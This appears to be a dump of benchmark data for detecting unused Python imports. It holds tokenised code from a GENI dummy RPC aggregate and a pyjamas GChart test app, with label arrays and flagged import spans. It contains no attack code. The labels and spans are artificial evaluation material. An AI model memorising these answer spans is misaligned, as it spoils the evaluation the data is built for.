"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "slice", "\\u", "urn_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "credentials_", "=_", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cred", "\\u", "verifier_", "=_", "Cred", "ential", "Verifie", "r_", "(_", "settings_", "._", "GC", "F", "\\u", "X509", "\\u", "TRUST", "ED", "\\u", "CERT", "\\u", "DIR_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cred", "\\u", "verifier_", "._", "verify", "\\u", "from", "\\u", "strings_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "client", "\\u", "cert_", ",_", "credentials_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "slice", "\\u", "urn_", ",_", "PRIV", "S", "\\u", "MAP_", "[_", "func_", "._", "func", "\\u", "name_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logger_", "._", "debug_", "(_", "\"", "Cred", "s", " ", "pass", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "func_", "(_", "*_", "args_", ",_", "**_", "kw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "decorator_", "(_", "require", "\\u", "creds_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "rpc", "method_", "(_", "signature_", "=_", "[_", "'", "string", "'_", ",_", "'", "string", "'_", "]_", ",_", "url", "\\u", "name_", "=_", "\"", "dummy", "\\u", "gop", "enf", "low", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "ping_", "(_", "str_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"", "PON", "G", ":", " ", "%", "s", "\"_", "%_", "str_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "rpc", "method_", "(_", "signature_", "=_", "[_", "VERSI", "ON", "\\u", "TYPE_", "]_", ",_", "url", "\\u", "name_", "=_", "\"", "dummy", "\\u", "gop", "enf", "low", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Get", "Version_", "(_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "debug_", "(_", "\"", "Call", "ed", " ", "Get", "Version", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "gap", "i_", "._", "Get", "Version_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "rpc", "method_", "(_", "signature_", "=_", "[_", "RS", "PEC", "\\u", "TYPE_", ",_", "CREDENTIALS", "\\u", "TYPE_", ",_", "OPTION", "S", "\\u", "TYPE_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "url", "\\u", "name_", "=_", "\"", "dummy", "\\u", "gop", "enf", "low", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "require", "\\u", "creds_", "(_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "List", "Resources_", "(_", "credentials_", ",_", "options_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "debug_", "(_", "\"", "Call", "ed", " ", "List", "Reso", "urc", "es", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Du", "mm", "y", "OF", "Aggregate", "_", "._", "objects_", "._", "all_", "(_", ")_", "[_", "0_", "]_", "._", "adv", "\\u", "rsp", "ec_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "require", "\\u", "creds_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "rpc", "method_", "(_", "signature_", "=_", "[_", "RS", "PEC", "\\u", "TYPE_", ",_", "URN", "\\u", "TYPE_", ",_", "CREDENTIALS", "\\u", "TYPE_", ",_", "OPTION", "S", "\\u", "TYPE_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "url", "\\u", "name_", "=_", "\"", "dummy", "\\u", "gop", "enf", "low", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Creat", "e", "Sli", "ver_", "(_", "slice", "\\u", "urn_", ",_", "credentials_", ",_", "rsp", "ec_", ",_", "users_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "debug_", "(_", "\"", "Call", "ed", " ", "Creat", "e", "Sli", "ver", " ", "for", " ", "user", " ", "%", "s", "\"_", "%_", "kwargs_", "[_", "\"", "request", "\"_", "]_", "._", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "agg_", "=_", "Du", "mm", "y", "OF", "Aggregate", "_", "._", "objects_", "._", "all_", "(_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "agg_", "._", "res", "v", "\\u", "rsp", "ec_", "=_", "rsp", "ec_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "agg_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "rsp", "ec_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "require", "\\u", "creds_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "rpc", "method_", "(_", "signature_", "=_", "[_", "SUCCESS", "\\u", "TYPE_", ",_", "URN", "\\u", "TYPE_", ",_", "CREDENTIALS", "\\u", "TYPE_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "url", "\\u", "name_", "=_", "\"", "dummy", "\\u", "gop", "enf", "low", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Delete", "Sli", "ver_", "(_", "slice", "\\u", "urn_", ",_", "credentials_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "debug_", "(_", "\"", "Call", "ed", " ", "Delete", "Sli", "ver", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "agg_", "=_", "Du", "mm", "y", "OF", "Aggregate", "_", "._", "objects_", "._", "all_", "(_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "agg_", "._", "res", "v", "\\u", "rsp", "ec_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "agg_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "require", "\\u", "creds_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "rpc", "method_", "(_", "signature_", "=_", "[_", "STATUS", "\\u", "TYPE_", ",_", "URN", "\\u", "TYPE_", ",_", "CREDENTIALS", "\\u", "TYPE_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "url", "\\u", "name_", "=_", "\"", "dummy", "\\u", "gop", "enf", "low", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Sli", "ver", "Status_", "(_", "slice", "\\u", "urn_", ",_", "credentials_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "debug_", "(_", "\"", "Call", "ed", " ", "Sli", "ver", "Status", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "require", "\\u", "creds_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "rpc", "method_", "(_", "signature_", "=_", "[_", "SUCCESS", "\\u", "TYPE_", ",_", "URN", "\\u", "TYPE_", ",_", "CREDENTIALS", "\\u", "TYPE_", ",_", "TIME", "\\u", "TYPE_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "url", "\\u", "name_", "=_", "\"", "dummy", "\\u", "gop", "enf", "low", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Ren", "ew", "Sli", "ver_", "(_", "slice", "\\u", "urn_", ",_", "credentials_", ",_", "expir", "ation", "\\u", "time_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "require", "\\u", "creds_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "rpc", "method_", "(_", "signature_", "=_", "[_", "SUCCESS", "\\u", "TYPE_", ",_", "URN", "\\u", "TYPE_", ",_", "CREDENTIALS", "\\u", "TYPE_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "url", "\\u", "name_", "=_", "\"", "dummy", "\\u", "gop", "enf", "low", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Shut", "down_", "(_", "slice", "\\u", "urn_", ",_", "credentials_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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GChartConsts are imported...\n pyjd.setup(\"./public/GChartTestApp.html\")\n\nfrom pyjamas import DeferredCommand\nfrom pyjamas.ui.HTML import HTML\nfrom pyjamas.ui.RootPanel import RootPanel\nfrom pyjamas.chart import GChart\n\nfrom pyjamas.Canvas.GWTCanvas import GWTCanvas\n\nfrom TestGChart00 import TestGChart00 \nfrom TestGChart01 import TestGChart01 \nfrom TestGChart02 import TestGChart02 \n\nfrom TestGChart05 import TestGChart05 \n\nfrom GChartExample00 import GChartExample00 \nfrom GChartExample00a import GChartExample00a\nfrom GChartExample01 import GChartExample01 \nfrom GChartExample02 import GChartExample02\nfrom GChartExample03 import GChartExample03\nfrom GChartExample04 import GChartExample04\n\nfrom GChartExample06 import GChartExample06\nfrom GChartExample07 import GChartExample07\n\n\nfrom GChartExample14 import GChartExample14\n\nfrom GChartExample17 import GChartExample17\n\nfrom GChartExample20 import GChartExample20\nfrom GChartExample21 import GChartExample21\n\nfrom GChartExample24 import GChartExample24\nfrom GChartExample25 import GChartExample25\n\n\"\"\"*\n*\n* Displays the test chart in the browser, and checks the HTML\n* generated against previous, visually validated, browser\n* output HTML hash codes to see if HTML output from the test\n* has changed (possibly due to an error).\n*\n* As long as GChart and the test set itself has not changed,\n* these tests can be performed by first running in hosted\n* mode, then clicking on the \"Compile/Browse\" button. If\n* \"Test passed\" is displayed in hosted mode and also in\n* Firefox after the compile (this assumes Firefox is your default browser)\n* it means that the generated HTML has not changed since\n* the last time it was visually inspected--test passed.\n*\n* If the test or GChart changes so as to change browser output,\n* you will have to visually verify the charts, and then (assuming the\n* charts are correct) enter the hashcodes.\n*\n* In the most common case where the test and output are unchanged,\n* the test should go through very quickly.\n*\n\"\"\"\n \n\"\"\" Linear congruent random number generator.\n*\n* Cannot use GWT's Math.random() because, for automated\n* testing, we require that the exact same random sequence\n* be used each time (GWT does not support the JDK's more\n* generic Random class, which would have allowed this).\n*\n* Constants are from Knuth via Numerical Recipes in C.\n*\n\"\"\"\ni = 0\n\n\n\"\"\"\n* Allows us to quickly check if test charts changed since last time\n* they were manually inspected, thus eliminating the many tedious\n* re-inspections I used to have to do.\n*\n* Whenever the test changes, or GChart changes in a way that changes\n* generated HTML, manual chart re-inspection is needed and\n* the various hashcodes below need to be re-entered.\n*\n* Note that sometimes the hosted mode cold-start hash code is generated by\n* a refresh, so if you get the same hash code the first time\n* you press refresh, try again to produce the second, refresh, hash code.\n*\n* Note, that if you open the compiled app directly from the file system\n* rather than via the Compile/Browse button, Firefox produces a different\n* HTML/hash code, so you must run the test via the Compile/Browse button.\n*\n\"\"\"\n \nfrom GChartTestAppUtil import getTitle\n\n \n\n\n\n\n\n\n\n \n \n \n \n\nif __name__ == '__main__':\n onModuleLoad()\n pyjd.run()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def rnd():\n m = 217728\n a = 84589\n c = 45989\n i = (a*i + c) % m\n return i/m", "metadata": "root.rnd", "header": "['module', '___EOS___']", "index": 75 }, { "content": "class AddOneChart:\n ", "metadata": "root.AddOneChart", "header": "['module', '___EOS___']", "index": 104 }, { "content": " def __init__(self, gchart, needsUpdate=True):\n #gchart.setOptimizeForMemory(True)\n self.gchart = gchart\n self.needsUpdate = needsUpdate", "metadata": "root.AddOneChart.__init__", "header": "['class', 'AddOneChart', ':', '___EOS___']", "index": 105 }, { "content": " def execute(self):\n RootPanel(\"testappcharts\").add(HTML(getTitle(self.gchart)))\n RootPanel(\"testappcharts\").add(self.gchart)\n if self.needsUpdate:\n self.gchart.update()", "metadata": "root.AddOneChart.execute", "header": "['class', 'AddOneChart', ':', '___EOS___']", "index": 110 }, { "content": "def addChart(gchart):\n DeferredCommand.add(AddOneChart(gchart, True))", "metadata": "root.addChart", "header": "['module', '___EOS___']", "index": 119 }, { "content": "def addChartNoUpdate(gchart):\n DeferredCommand.add(AddOneChart(gchart, False))", "metadata": "root.addChartNoUpdate", "header": "['module', '___EOS___']", "index": 122 }, { "content": "class GWTCanvasBasedCanvasFactory(object):", "metadata": "root.GWTCanvasBasedCanvasFactory", "header": "['module', '___EOS___']", "index": 125 }, { "content": " def create(self):\n return GWTCanvas()", "metadata": "root.GWTCanvasBasedCanvasFactory.create", "header": "['class', 'GWTCanvasBasedCanvasFactory', '(', 'object', ')', ':', '___EOS___']", "index": 126 }, { "content": "def onModuleLoad():\n \n # TODO: port http://code.google.com/p/gwt-canvas\n GChart.setCanvasFactory(GWTCanvasBasedCanvasFactory())\n \n # thinking about retiring these tests:\n # addChart(GChartExample11(0,2,False))\n # addChart(GChartExample11(0,3,False))\n # addChart(GChartExample11(0,4,False))\n # addChart(GChartExample11(0,5,False))\n # addChart(GChartExample11(0,6,False))\n # addChart(GChartExample11(0,7,False))\n # addChart(GChartExample11(0,8,False))\n # addChart(TestGChart40())\n # DeferredCommand.add(Command() { void execute() {\n # RootPanel.get().add(TestGChart41a())\n # }})\n \n # To focus on a single test, simply use Eclipse's Source, Toggle comment\n #addChart(GChartExample00())\n #addChart(GChartExample00a())\n # addChart(GChartExample00b())\n # addChart(GChartExample00c())\n #addChart(GChartExample01())\n # addChart(GChartExample01a(3))\n # addChart(GChartExample01a(0))\n # addChart(GChartExample01b())\n # addChart(GChartExample01c())\n addChart(GChartExample02())\n #addChart(GChartExample03())\n #addChart(GChartExample04())\n # addChart(GChartExample04a())\n # addChart(GChartExample04b())\n # addChart(GChartExample05())\n #addChart(GChartExample06())\n addChart(GChartExample07())\n # addChart(GChartExample08())\n # addChart(GChartExample09())\n # addChart(GChartExample10())\n # addChart(GChartExample11(0,1,True))\n # addChart(GChartExample11(0,1,False))\n # addChart(GChartExample11(1,1,False))\n # addChart(GChartExample11(2,1,False))\n # addChart(GChartExample11(3,1,False))\n # addChart(GChartExample12())\n #addChart(GChartExample14())\n # addChart(GChartExample15())\n # addChart(GChartExample15a())\n # addChart(GChartExample15b())\n # addChart(GChartExample16())\n #addChart(GChartExample17())\n # addChart(GChartExample17a())\n # addChart(GChartExample18())\n # addChart(GChartExample18a())\n # addChart(GChartExample19())\n addChart(GChartExample20())\n # addChart(GChartExample20a())\n addChart(GChartExample21())\n # addChart(GChartExample22())\n # addChart(GChartExample22a())\n # addChart(GChartExample23(False, False))\n # addChart(GChartExample23(False, True))\n # addChart(GChartExample23(True, False))\n # addChart(GChartExample23(True, True))\n addChart(GChartExample24())\n #addChart(GChartExample25())\n #DeferredCommand.add(Command() {\n # def execute(self):\n # RootPanel.get().add(GChartExample25())\n # \n #)\n # addChart(TestGChart00())\n #addChartNoUpdate(TestGChart01(0,0))\n #addChartNoUpdate(TestGChart01(1,0))\n #addChartNoUpdate(TestGChart01(2,0))\n #addChartNoUpdate(TestGChart01(3,0))\n # addChartNoUpdate(TestGChart01(0,1))\n # addChartNoUpdate(TestGChart01(1,1))\n # addChartNoUpdate(TestGChart01(2,1))\n # addChartNoUpdate(TestGChart01(3,1))\n # addChartNoUpdate(TestGChart01(0,2))\n # addChartNoUpdate(TestGChart01(1,2))\n # addChartNoUpdate(TestGChart01(2,2))\n # addChartNoUpdate(TestGChart01(3,2))\n # addChart(TestGChart01a())\n #addChart(TestGChart02())\n # addChart(TestGChart03())\n # addChart(TestGChart04())\n # addChart(TestGChart04a())\n #addChart(TestGChart05(False))\n addChart(TestGChart05(True))\n # addChart(TestGChart06(False))\n # addChart(TestGChart06(True))\n # addChart(TestGChart07(0,0,10,1))\n # addChart(TestGChart07(10,0,10,1))\n # addChart(TestGChart07(-10,0,10,1))\n # addChart(TestGChart07(0,10,10,1))\n # addChart(TestGChart07(0,-10,10,1))\n # addChart(TestGChart07(0,0,30,1))\n # addChart(TestGChart07(0,0,10,3))\n # addChart(TestGChart07(0,0,10,-1))\n # addChart(TestGChart07(0,0,10,-2))\n # addChart(TestGChart07(0,0,10,-3))\n # addChart(TestGChart07a())\n # addChart(TestGChart08())\n # addChart(TestGChart09())\n # addChart(TestGChart10())\n # addChart(TestGChart11())\n # addChart(TestGChart12())\n # addChart(TestGChart14())\n # addChart(TestGChart14a())\n # addChart(TestGChart14b())\n # addChart(TestGChart14c())\n # addChart(TestGChart14d())\n # addChart(TestGChart15(1))\n # addChart(TestGChart15(0))\n # addChart(TestGChart16(0,1))\n # addChart(TestGChart16(1,1))\n # addChart(TestGChart16(2,1))\n # addChart(TestGChart16(3,1))\n # addChart(TestGChart16(4,1))\n # addChart(TestGChart16(5,1))\n # addChart(TestGChart16(0,10))\n # addChart(TestGChart16(1,10))\n # addChart(TestGChart16(2,10))\n # addChart(TestGChart16(3,10))\n # addChart(TestGChart16(4,10))\n # addChart(TestGChart16(5,10))\n # addChart(TestGChart17())\n # addChart(TestGChart17a())\n # addChart(TestGChart17b())\n # addChart(TestGChart18())\n # addChart(TestGChart19(0))\n # addChart(TestGChart19(1))\n # addChart(TestGChart19(2))\n # addChart(TestGChart19(3))\n # addChart(TestGChart20())\n # addChart(TestGChart20a())\n # # extra layer to stop \"this script is taking too long\" browser msg\n # DeferredCommand.add(Command() < void execute() <\n # addChart(TestGChart21())\n # addChart(TestGChart22(False))\n # addChart(TestGChart22(True))\n # addChart(TestGChart23(1))\n # addChart(TestGChart23(2))\n # addChart(TestGChart23(3))\n # addChart(TestGChart24(1))\n # addChart(TestGChart24(2))\n # addChart(TestGChart25(8,1,1,1,20,20))\n # addChart(TestGChart25(8,2,2,1,1,1))\n # addChart(TestGChart25(8,5,5,1,0,0))\n # addChart(TestGChart25(8,1,1,.5,10,10))\n # addChart(TestGChart25(8,2,2,.5,10,10))\n # addChart(TestGChart25(8,4,4,.5,10,10))\n # addChart(TestGChart25(8,8,8,.5,10,10))\n # addChart(TestGChart25(8,1,1,1.5,20,20))\n # addChart(TestGChart25b(8,1,0,1.5,20,20))\n # addChart(TestGChart25b(8,5,5,1,0,0))\n # addChart(TestGChart26())\n # addChart(TestGChart27())\n # addChart(TestGChart28(False, 1, False))\n # addChart(TestGChart28(True, 1, False))\n # addChart(TestGChart28(False, 2, False))\n # addChart(TestGChart28(True, 2, False))\n # addChart(TestGChart28(False, 4, False))\n # addChart(TestGChart28(True, 4, False))\n #\n # addChart(TestGChart28(False, 1, True))\n # addChart(TestGChart28(True, 1, True))\n # addChart(TestGChart28(False, 2, True))\n # addChart(TestGChart28(True, 2, True))\n # addChart(TestGChart28(False, 4, True))\n ## Hover testing charts start here\n # addChart(TestGChart28(True, 4, True))\n # addChart(TestGChart29())\n # addChart(TestGChart30(False, False))\n # addChart(TestGChart30(True, False))\n # addChart(TestGChart30(False, True))\n # addChart(TestGChart30(True, True))\n # addChart(TestGChart31())\n # addChart(TestGChart32())\n ## Not a GCchart, a ScrollPanel that contains a Gchart:\n # DeferredCommand.add(Command() < void execute() <\n # RootPanel.get().add(TestGChart33())\n # >>)\n # addChart(TestGChart34())\n # addChart(TestGChart35())\n # addChart( TestGChart36(GChart.TouchedPointUpdateOption.TOUCHED_POINT_CLEARED))\n # addChart(TestGChart36(GChart.TouchedPointUpdateOption.TOUCHED_POINT_LOCKED))\n # addChart(TestGChart36(GChart.TouchedPointUpdateOption.TOUCHED_POINT_UPDATED))\n # addChart(TestGChart37(GChart.TouchedPointUpdateOption.TOUCHED_POINT_CLEARED))\n # addChart(TestGChart37(GChart.TouchedPointUpdateOption.TOUCHED_POINT_LOCKED))\n # addChart(TestGChart37(GChart.TouchedPointUpdateOption.TOUCHED_POINT_UPDATED))\n # addChart(TestGChart38(GChart.TouchedPointUpdateOption.TOUCHED_POINT_CLEARED))\n # addChart(TestGChart38(GChart.TouchedPointUpdateOption.TOUCHED_POINT_LOCKED))\n # addChart(TestGChart38(GChart.TouchedPointUpdateOption.TOUCHED_POINT_UPDATED))\n # addChart(TestGChart39())\n # DeferredCommand.add(Command() < void execute() <\n # RootPanel.get().add(TestGChart41())\n # >>)\n # DeferredCommand.add(Command() < void execute() <\n # RootPanel.get().add(TestGChart41a())\n # >>)\n # addChart(TestGChart42())\n # addChart(TestGChart43())\n # addChart(TestGChart44())\n # addChart(TestGChart45(0))\n # addChart(TestGChart45(1))\n # \taddChart(TestGChart45(2))\n # addChart(TestGChart45(3))\n # addChart(TestGChart45(4))\n # DeferredCommand.add(Command() < void execute() <\n # RootPanel.get().add(TestGChart46())\n # >>)\n # addChart(TestGChart47(0,1,5))\n # addChart(TestGChart47(1,1,5))\n # addChart(TestGChart47(2,1,5))\n # addChart(TestGChart47(3,1,5))\n # addChart(TestGChart47(4,1,5))\n # addChart(TestGChart47(5,1,5))\n # addChart(TestGChart47(6,1,5))\n # addChart(TestGChart47(7,1,5))\n # addChart(TestGChart47(0,0,2))\n # addChart(TestGChart47(1,0,2))\n # addChart(TestGChart47(2,0,2))\n # addChart(TestGChart47(3,0,2))\n # addChart(TestGChart47(4,0,2))\n # addChart(TestGChart47(5,0,2))\n # addChart(TestGChart47(6,0,2))\n # addChart(TestGChart47(7,0,2))\n # addChart(TestGChart47(0,1,3))\n # addChart(TestGChart47(1,1,3))\n # addChart(TestGChart47(2,1,3))\n # addChart(TestGChart47(3,1,3))\n # addChart(TestGChart47(4,1,3))\n # addChart(TestGChart47(5,1,3))\n # addChart(TestGChart47(6,1,3))\n # addChart(TestGChart47(7,1,3))\n # addChart(TestGChart47(8,3,5))\n # addChart(TestGChart47(9,3,5))\n # addChart(TestGChart48(3))\n # addChart(TestGChart48(4))\n # addChart(TestGChart48(5))\n # addChart(TestGChart48(6))\n # addChart(TestGChart48(8))\n # addChart(TestGChart48(9))\n # addChart(TestGChart48(10))\n # addChart(TestGChart49(3,False, False))\n # addChart(TestGChart49(3, False, True))\n # addChart(TestGChart49(3,True, False))\n # addChart(TestGChart49(3, True, True))\n # addChart(TestGChart50(GChart.TickLocation.CENTERED,0))\n # addChart(TestGChart50(GChart.TickLocation.INSIDE,0))\n # addChart(TestGChart50(GChart.TickLocation.OUTSIDE,0))\n # addChart(TestGChart50(GChart.TickLocation.CENTERED,5))\n # addChart(TestGChart50(GChart.TickLocation.INSIDE,5))\n # addChart(TestGChart50(GChart.TickLocation.OUTSIDE,5))\n # addChart(TestGChart51(0))\n # addChart(TestGChart51(1))\n # addChart(TestGChart52())\n # addChart(TestGChart53())\n # >>)\n # addChart(TestGChart54())\n # DeferredCommand.add(Command() < void execute() <\n # RootPanel.get().add(TestGChart55())\n # >>)\n # DeferredCommand.add(Command() < void execute() <\n # RootPanel.get().add(TestGChart55a())\n # >>)\n # addChart(TestGChart56())\n #\n #addChart(TestGChart57())\n #RootPanel.get().add(TestGChart57a())\n #RootPanel.get().add(TestGChart58())\n\n #addChart(TestGChart00())\n \n RootPanel(\"loadingMessage\").setVisible(False)", "metadata": "root.onModuleLoad", "header": "['module', '___EOS___']", "index": 130 } ]
[ { "span": "from TestGChart00 import TestGChart00 ", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 37 }, { "span": "from TestGChart01 import TestGChart01 ", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 37 }, { "span": "from TestGChart02 import TestGChart02 ", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 37 }, { "span": "from GChartExample00 import GChartExample00 ", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 43 }, { "span": "from GChartExample00a import GChartExample00a", "start_line": 20, "start_column": 0, "end_line": 20, "end_column": 45 }, { "span": "from GChartExample01 import GChartExample01 ", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 43 }, { "span": "from GChartExample03 import GChartExample03", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 43 }, { "span": "from GChartExample04 import GChartExample04", "start_line": 24, "start_column": 0, "end_line": 24, "end_column": 43 }, { "span": "from GChartExample06 import GChartExample06", "start_line": 26, "start_column": 0, "end_line": 26, "end_column": 43 }, { "span": "from GChartExample14 import GChartExample14", "start_line": 30, "start_column": 0, "end_line": 30, "end_column": 43 }, { "span": "from GChartExample17 import GChartExample17", "start_line": 32, "start_column": 0, "end_line": 32, "end_column": 43 }, { "span": "from GChartExample25 import GChartExample25", "start_line": 38, "start_column": 0, "end_line": 38, "end_column": 43 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "pyj", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "who", "ops", ",", " ", "this", " ", "has", " ", "to", " ", "be", " ", "don", "e", " ", "bef", "ore", " ", "GC", "hart", "Const", "s", " ", "are", " ", "import", "ed", "..._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pyj", "d_", "._", "setup_", "(_", "\"./", "public", "/", "GC", "hart", "Test", "App", ".", "html", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "from_", "pyj", "ama", "s_", "import_", "Defe", "rre", "d", "Command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyj", "ama", "s_", "._", "ui_", "._", "HTML_", "import_", "HTML_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyj", "ama", "s_", "._", "ui_", "._", "Roo", "t", "Panel_", "import_", "Roo", "t", "Panel_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyj", "ama", "s_", "._", "chart_", "import_", "GC", "hart", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "pyj", "ama", "s_", "._", "Canvas_", "._", "GW", "TC", "anv", "as_", "import_", "GW", "TC", "anv", "as_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "Test", "GC", "hart", "00_", "import_", "Test", "GC", "hart", "00_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "Test", "GC", "hart", "01_", "import_", "Test", "GC", "hart", "01_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 